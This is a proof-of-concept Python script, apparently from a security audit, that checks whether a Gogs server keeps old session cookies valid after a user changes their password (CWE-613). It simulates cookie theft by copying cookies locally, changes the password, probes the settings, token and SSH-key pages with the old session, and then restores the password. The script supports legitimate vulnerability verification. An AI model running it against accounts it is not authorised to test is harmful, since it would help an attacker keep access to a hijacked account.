After the password is changed, the old session is not forcibly invalidated. As a result, the session token obtained by the attacker can still be used after the password change, making it impossible to completely regain control of the account.
#!/usr/bin/env python3
"""
VULN-007: Session Not Invalidated After Password Change
========================================================
VERIFIED: 2026-03-11
Severity: High
CVSS 3.1: 7.1 - AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE-613: Insufficient Session Expiration
Vulnerability:
When a user changes their password, existing sessions are NOT invalidated.
This means an attacker who has obtained a valid session (via XSS, session
hijacking, network sniffing, etc.) can continue to use it indefinitely
even after the legitimate user changes their password.
Attack Scenario:
1. Attacker steals victim's session cookie (XSS, MITM, malware, etc.)
2. Victim notices suspicious activity and changes their password
3. Attacker's session remains valid - password change is ineffective
4. Attacker maintains persistent access to victim's account
Impact:
- Stolen sessions cannot be revoked by password change
- Users have no effective way to kick out attackers
- Compromised sessions remain valid until natural expiration
Proof of Concept:
1. Login as user, copy session cookie
2. Change password
3. Use old session cookie to access protected resources
4. Old session still works - vulnerability confirmed
Author: Security Audit Team
Date: 2026-03-11
"""
import requests
import sys
import re
import json
import argparse
from datetime import datetime
class SessionPersistenceExploit:
"""Session persistence after password change exploit."""
def __init__(self, base_url: str, verbose: bool = True):
self.base_url = base_url.rstrip('/')
self.verbose = verbose
self.victim_session = requests.Session()
self.attacker_session = requests.Session()
def log(self, message: str, level: str = "INFO"):
if self.verbose:
timestamp = datetime.now().strftime("%H:%M:%S.%f")[:-3]
symbols = {"INFO": "[*]", "SUCCESS": "[+]", "FAIL": "[-]", "ERROR": "[!]", "WARN": "[~]"}
print(f"{timestamp} {symbols.get(level, '[*]')} {message}")
def extract_csrf(self, html: str) -> str:
match = re.search(r'name="_csrf"\s*value="([^"]+)"', html)
return match.group(1) if match else ""
def login(self, session: requests.Session, username: str, password: str) -> bool:
"""Login and return success status."""
try:
resp = session.get(f"{self.base_url}/user/login", timeout=10)
csrf = self.extract_csrf(resp.text)
if not csrf:
return False
resp = session.post(
f"{self.base_url}/user/login",
data={"_csrf": csrf, "user_name": username, "password": password},
allow_redirects=True,
timeout=10
)
return "Sign Out" in resp.text
except Exception:
return False
def check_session_valid(self, session: requests.Session) -> dict:
"""Check if session is valid and what access it has."""
result = {"valid": False, "username": None, "accessible": []}
try:
resp = session.get(f"{self.base_url}/user/settings", timeout=10, allow_redirects=False)
if resp.status_code == 200 or (resp.status_code == 302 and "login" not in resp.headers.get("Location", "")):
# Follow redirect if needed
if resp.status_code == 302:
resp = session.get(f"{self.base_url}/user/settings", timeout=10)
if "Sign Out" in resp.text:
result["valid"] = True
# Extract username
match = re.search(r'Signed in as <strong>([^<]+)</strong>', resp.text)
if match:
result["username"] = match.group(1)
# Check accessible endpoints
endpoints = [
("/user/settings", "Profile"),
("/user/settings/security", "Security"),
("/user/settings/applications", "Tokens"),
("/user/settings/ssh", "SSH Keys"),
]
for path, name in endpoints:
try:
r = session.get(f"{self.base_url}{path}", timeout=5)
if r.status_code == 200 and "Sign Out" in r.text:
result["accessible"].append(name)
except:
pass
except Exception:
pass
return result
def change_password(self, session: requests.Session, old_pwd: str, new_pwd: str) -> bool:
"""Change password using given session."""
try:
resp = session.get(f"{self.base_url}/user/settings/password", timeout=10)
csrf = self.extract_csrf(resp.text)
if not csrf:
return False
resp = session.post(
f"{self.base_url}/user/settings/password",
data={
"_csrf": csrf,
"old_password": old_pwd,
"password": new_pwd,
"retype": new_pwd
},
timeout=10
)
# Check for success (no error message)
return resp.status_code == 200 and "error" not in resp.text.lower()
except Exception:
return False
def run_exploit(self, username: str, password: str) -> dict:
"""Run full session persistence exploit."""
result = {
"vulnerable": False,
"target": self.base_url,
"vuln_id": "VULN-007",
"vuln_name": "Session Not Invalidated After Password Change",
"severity": "High",
"evidence": {},
"error": None,
}
new_password = password + "_changed"
print("\n" + "=" * 60)
print("VULN-007: Session Persistence After Password Change")
print("=" * 60)
print(f"Target: {self.base_url}")
print(f"User: {username}")
print("=" * 60 + "\n")
# Step 1: Login as victim
self.log("Step 1: Victim logs in...", "INFO")
if not self.login(self.victim_session, username, password):
self.log("Login failed - check credentials", "ERROR")
result["error"] = "Login failed"
return result
self.log("Victim logged in successfully", "SUCCESS")
# Step 2: Attacker steals session (copy cookies)
self.log("\nStep 2: Attacker steals session cookie...", "INFO")
victim_cookies = self.victim_session.cookies.get_dict()
for name, value in victim_cookies.items():
self.attacker_session.cookies.set(name, value)
self.log(f" Copied cookie: {name}={value[:20]}...", "INFO")
# Verify attacker session works
attacker_check = self.check_session_valid(self.attacker_session)
if attacker_check["valid"]:
self.log(f"Attacker session valid as: {attacker_check['username']}", "SUCCESS")
result["evidence"]["pre_change_attacker_session"] = attacker_check
else:
self.log("Attacker session copy failed", "ERROR")
result["error"] = "Session copy failed"
return result
# Step 3: Victim changes password
self.log("\nStep 3: Victim changes password...", "INFO")
if not self.change_password(self.victim_session, password, new_password):
self.log("Password change failed", "ERROR")
result["error"] = "Password change failed"
return result
self.log(f"Password changed: {password} -> {new_password}", "SUCCESS")
# Step 4: Test if attacker session is still valid
self.log("\nStep 4: Testing attacker's old session...", "INFO")
attacker_check_after = self.check_session_valid(self.attacker_session)
result["evidence"]["post_change_attacker_session"] = attacker_check_after
if attacker_check_after["valid"]:
result["vulnerable"] = True
self.log("ATTACKER SESSION STILL VALID!", "SUCCESS")
self.log(f" Username: {attacker_check_after['username']}", "INFO")
self.log(f" Accessible: {attacker_check_after['accessible']}", "INFO")
# Demonstrate what attacker can still do
self.log("\nDemonstrating persistent access:", "INFO")
for endpoint in attacker_check_after["accessible"]:
self.log(f" ✓ Can access: {endpoint}", "SUCCESS")
else:
self.log("Attacker session was invalidated (secure behavior)", "INFO")
# Cleanup: Restore original password
self.log("\nCleanup: Restoring original password...", "INFO")
if self.change_password(self.victim_session, new_password, password):
self.log("Password restored", "SUCCESS")
else:
self.log(f"Failed to restore password. New password is: {new_password}", "WARN")
# Summary
print("\n" + "=" * 60)
if result["vulnerable"]:
print("VULNERABILITY CONFIRMED!")
print("=" * 60)
self.log("Session persists after password change", "SUCCESS")
self.log("Attacker maintains access even after victim changes password", "INFO")
else:
print("NOT VULNERABLE")
print("=" * 60)
self.log("Session properly invalidated after password change", "INFO")
return result
def main():
parser = argparse.ArgumentParser(
description="VULN-007: Session Persistence After Password Change PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Example:
python3 poc_VULN_007_session_persistence.py http://localhost:3000 -u user -p pass
Attack Scenario:
1. Attacker steals victim's session cookie (XSS, MITM, etc.)
2. Victim discovers compromise and changes password
3. Attacker's session remains valid - can still access account
"""
)
parser.add_argument('target_url', help='Target Gogs URL')
parser.add_argument('-u', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')
args = parser.parse_args()
exploit = SessionPersistenceExploit(args.target_url, verbose=not args.quiet)
result = exploit.run_exploit(args.username, args.password)
print("\n" + "=" * 60)
print("RESULT SUMMARY")
print("=" * 60)
print(json.dumps(result, indent=2, ensure_ascii=False))
sys.exit(0 if result["vulnerable"] else 1)
if __name__ == "__main__":
main()